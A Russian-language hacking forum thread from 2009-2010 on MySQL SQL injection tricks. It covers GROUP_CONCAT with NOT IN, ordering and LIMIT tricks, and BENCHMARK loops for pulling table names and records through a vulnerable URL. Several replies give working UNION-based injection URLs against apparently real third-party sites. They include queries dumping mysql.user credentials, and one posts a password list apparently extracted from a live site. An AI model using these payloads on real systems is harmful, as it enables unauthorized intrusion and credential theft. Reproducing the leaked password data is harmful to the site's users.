Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Использование GROUP_CONCAT() + NOT IN () [MySQL] |

03.05.2009, 10:02
|
|
Moderator - Level 7
Регистрация: 07.06.2006
Сообщений: 556
Провел на форуме: 7549607
Репутация:
2702
|
|
Использование GROUP_CONCAT() + NOT IN () [MySQL]
Использование GROUP_CONCAT() + NOT IN () [MySQL]
(Предназначено прежде всего для новичков).
Многие привыкли использовать функцию GROUP_CONCAT() которая объединяет несколько возвращаемых запией в одну. Это позволяет быстро получить нужные данные в случаях, если скрипт отображает только один результат.
Но из-за ограничения group_concat_max_len (по умолчанию - 1024) при больших объёмах данных польза данной функции стремится к нулю, так как при превышении данного лимита результирующая строка обрезается.
Существует выход из данной ситуации.
В MySQL (и не только) есть такая конструкция, как NOT IN () (которая, кстати, нередко применяется при атаке на MSSQL). Примерный синтаксис:
PHP код:
expression NOT IN ('value1' [, 'value2', ...])
Данное выражение возвращает 1 (истина), если expression НЕ равно ни одному из значений, перечисленных в скобках ( value).
Таким образом, путём подстановки этой конструкции в условие WHERE мы можем исключить уже полученные с помощью GROUP_CONCAT() данные, таким образом получив ранее недоступные записи, которые не умещались в предел group_concat_max_len.
Рассмотрим на конкретном примере.
Я использовал предел group_concat_max_len в ~340 символов вместо 1024 (принципиальной разницы нет).
Запрос
PHP код:
SELECT
GROUP_CONCAT(`table_name`)
FROM
`information_schema`.`tables`
как и ожидается, выводит не все записи:
Код:
CHARACTER_SETS,
COLLATIONS,
COLLATION_CHARACTER_SET_APPLICABILITY,
COLUMNS,
COLUMN_PRIVILEGES,
KEY_COLUMN_USAGE,
PROFILING,
ROUTINES,
SCHEMATA,
SCHEMA_PRIVILEGES
STATISTICS,
TABLES,
TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TRIGGERS,
USER_PRIVILEGES,
VIEWS,
_table_1,
_table_2,
_table_3,
_table_4,
_table_5,
_table_6,
_table_7,
_table_8
Необходимо занести все полученные строки в NOT IN ():
PHP код:
SELECT
GROUP_CONCAT(`table_name`)
FROM
`information_schema`.`tables`
WHERE
`table_name` NOT IN ('CHARACTER_SETS', 'COLLATIONS', 'COLLATION_CHARACTER_SET_APPLICABILITY', 'COLUMNS', 'COLUMN_PRIVILEGES', 'KEY_COLUMN_USAGE', 'PROFILING', 'ROUTINES', 'SCHEMATA', 'SCHEMA_PRIVILEGES', 'STATISTICS', 'TABLES', 'TABLE_CONSTRAINTS', 'TABLE_PRIVILEGES', 'TRIGGERS', 'USER_PRIVILEGES', 'VIEWS', '_table_1', '_table_2', '_table_3', '_table_4', '_table_5', '_table_6', '_table_7', '_table_8')
Этот запрос вернёт список последующих таблиц (так как предыдущие были исключены):
Код:
_table_9,
_table_10,
_table_11,
_table_12,
....
_table_30,
Для получения следующей порции записей, необходимо исключить вышеприведённые имена таблиц, то есть добавить к уже существующему списку.
К этому и сводится принцип данного метода.
----------------------------------------------------------------------------------
Примечания:
+ Одним из неудобств данного метода является необходимость в рутинной операции форматирования полученных записей для подстановки в список NOT IN ()
Но эту задачу можно возложить на MySQL, немного модифицировав целевой запрос:
PHP код:
SELECT
GROUP_CONCAT(CONCAT(0x27, `table_name`, 0x27) SEPARATOR ',+')
FROM
`information_schema`.`tables`
Данный запрос вернёт уже отформатированную последовательность (с кавычками и эквивалентами пробелов " +"), готовую для подстановки в список исключения и пересылки по HTTP (остаётся только подставить в URL):
Код:
'CHARACTER_SETS',+'COLLATIONS',+'COLLATION_CHARACTER_SET_APPLICABILITY',+'COLUMNS',+'COLUMN_PRIVILEGES',+'KEY_COLUMN_USAGE',+'PROFILING',+'ROUTINES',+'SCHEMATA',+'SCHEMA_PRIVILEGES',+'STATISTICS',+'TABLES',+'TABLE_CONSTRAINTS',+'TABLE_PRIVILEGES',+'TRIGGERS',+'USER_PRIVILEGES',+'VIEWS',+'aaaaa',+'bbbbb',+'cccccc',+'ddddd',+'eeeeee',+'fffffff',+'gggggg',+'hhhhhh'
+ При получении имён таблиц можно исключать существующие по умолчанию таблицы из information_schema путём подстановки условия:
PHP код:
AND `table_schema` <> 'information_schema'
что ещё больше сэкономит время.
----------------------------------------------------------------------------------
Плюсы:
+ В разы уменьшается количество запросов к сайту (имена всех таблиц в большинстве случаев можно получить 2-3 запросами).
Минусы:
- При очень длинных запросах есть вероятность превысить максимальный предел длины URI-строки, в результате чего она обрежется, что породит ошибку синтаксиса MySQL.
----------------------------------------------------------------------------------
|
|
|

03.05.2009, 11:59
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Это изврат.
Куда менее гимморойно :
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema'
вывод(допустим):
yes
no
lol
следующим запросом вбиваем последнюю из выведенных колонок:
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+where+table_schema!='informat ion_schema'+and+table_name>'lol'
И вывод пойдёт с неё по алфавиту
Это описывал l1ght
https://forum.antichat.ru/showpost.php?p=1087388&postcount=5144
Или различные групировки по полям, базам и т.д. в которых отлично работает лимит
a=-1+union+select+group_concat(table_name)+from+infor mation_schema.tables+group+by+table_schema+limit+1 ,1
a=-1+union+select+group_concat(concat_ws(0x3a,user,pa ssword,file_priv))+from+mysql.user+group+by+file_p riv+limit+1,1
Которые тоже уже описывались мной:
https://forum.antichat.ru/showpost.php?p=1090945&postcount=5213
|
|
|

03.05.2009, 13:27
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Или так:
GROUP_CONCAT(TABLE_NAME)+FROM+information_schema.t ables+WHERE+ASCII(LOWER(TABLE_NAME))= 97 - выведет все таблы, начинающиеся на ''a" - независимо от регистра (или использовать такие же знаки > или <)
реальный пример:
Код:
http://www.unialco.com.br/jobs/details.php?id=-48'+union+select+1,2,GROUP_CONCAT(TABLE_NAME),4,5,6,7,8,9,10+FROM+information_schema.tables+WHERE+ASCII(LOWER(TABLE_NAME))=99+--+
|
|
|

06.01.2010, 15:37
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
А можно объявить переменные и пустить вывод таблиц по циклу benchmark().
Выглядеть это может примерно так:
Код:
SELECT @count:=1, @out:=' ', BENCHMARK(10, @out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',name,password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id_user=@count LIMIT 0,1))), @out
|
|
|

09.01.2010, 23:42
|
|
Reservists Of Antichat - Level 6
Регистрация: 05.12.2006
Сообщений: 195
Провел на форуме: 14023893
Репутация:
2163
|
|
забавно, то же самое обсуждали с джоком год назад
но ближе к телу, после ряда тестов на локалке заметил косяк:
Код:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> create table users (id char(255),password char(255));
Query OK, 0 rows affected (0.03 sec)
mysql> insert into users values (1,'lala1'),(2,'lala2'),(3,'lala3'),(11,'lala888'),(12,'lala999');
Query OK, 5 rows affected (0.00 sec)
Records: 5 Duplicates: 0 Warnings: 0
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
| @count:=1 | @out:=' ' | BENCHMARK(3,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT0,1))) | @out |
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
| 1 | | 0 | <br>lala1;2<br>lala2;3<br>lala3;4 |
+-----------+-----------+----------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------+
1 row in set (0.00 sec)
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
| @count:=1 | @out:=' ' | BENCHMARK(11,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
| 1 | | 0 | NULL |
+-----------+-----------+-----------------------------------------------------------------------------------------------------------------------------------------------+------+
1 row in set (0.00 sec)
mysql> SELECT @count:=1,@out:=' ',BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))), @out;
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
| @count:=1 | @out:=' ' | BENCHMARK(100,@out:=CONCAT(@out,'<br>',(SELECT CONCAT_WS(';',password,@count:=IFNULL(@count+1,@count)) FROM users WHERE id=@count LIMIT 0,1))) | @out |
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
| 1 | | 0 | NULL |
+-----------+-----------+------------------------------------------------------------------------------------------------------------------------------------------------+------+
1 row in set (0.01 sec)
после первой пустой выборки зануляется весь @out
как вариант:
Код:
mysql> select concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char));
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| concat(@a:=0,@b:=1,benchmark(100,if((select count(password) from users where id=@a),@b:=concat((select password from users where id=@a),0x3a,@b,@a:=@a+1),@a:=@a+1)),cast(@b as char)) |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 010lala999:lala888:lala3:lala2:lala1:2341213 |
+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.03 sec)
подогнал все под 1 столбец, 010 - @a,@b,benchmark (вывод уже лень подгонять)
в полевых условиях:
http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,3,password ,5,6,7,8+from+users+limit+1,1--+
=>
http://docksr.us/en/nieuws.php?id=56+and+0+union+select+1,2,concat(@a: =0,@b:=1,benchmark(100,if((select+count(password)+ from+users+where+id=@a),@b:=concat((select+passwor d+from+users+where+id=@a),0x3a,@b,@a:=@a%2b1),@a:= @a%2b1))),cast(@b+as+char),5,6,7,8+from+users--+
=>
LS60VER:LS00aes56:LS90erc01:LS319oba29:LS00rk.:LS0 0_06@:LS31_Gan:LS00ili:LS260aue38:LS00ne.50:LS_4Ao sb56:099s:LS520my.41:LS858yha08:LS14y.e45:LS14ven1 2:LS20chi35:LS50che:LS01_ill:LS06ksh01:LS180del50: LS240lro12:LS6_0hav34:008ind:019mov:004con:018mis: 009ivk:033gat:031t:024pro:016m:015lsc:034dom:036si n:003bes:LS929anP41:e6612:n5510:013lsf:014lsd:b224 :LS98eart37:LS04Chof:LS60cie:Tyros:LS23xsle:LS50tb r:LS390s@h:LS146run:i112:LS45_baa:LS83_tri
? >4.1
__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..
|
|
|

10.01.2010, 12:49
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
l1ght, да-да, я из-за этого косяка и написал слово "примерно".
Я делал проверку на существование конструкцией IFNULL(@count+1,@count), чтоб было как можно короче, но почему-то она не помогла...
Спасибо за рабочий запрос)
|
|
|

14.01.2010, 16:58
|
|
Новичок
Регистрация: 25.06.2008
Сообщений: 19
Провел на форуме: 205057
Репутация:
9
|
|
http://localhost/newsportal/haber/index.php?id=1+and+1=0+union+select+1,group_concat (column_name,0x3A,table_name),3,4,5+from+informati on_schema.columns+where+table_name=(select+table_n ame+from+information_schema.tables+where+table_sch ema=database()+and+table_name+REGEXP+0x2E2A2828757 35B75655D7C6C6F675B696F5D6E7C6D656D29292E2A+limit+ 0,1)+limit+0,1--
Этот запрос выведет название таблицы и полей указанных в регекспе-.*((us[ue]|log[io]n|mem)).*
к примеру:members:id,members:name,members  as sword etc... естественно если такие есть в базе
проверено в полевых условиях....работает
Взято здесь:http://undersecurity.net/sql-union-injection/optimizacion-de-sql-union-injection-en-mysql
enjoy 
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|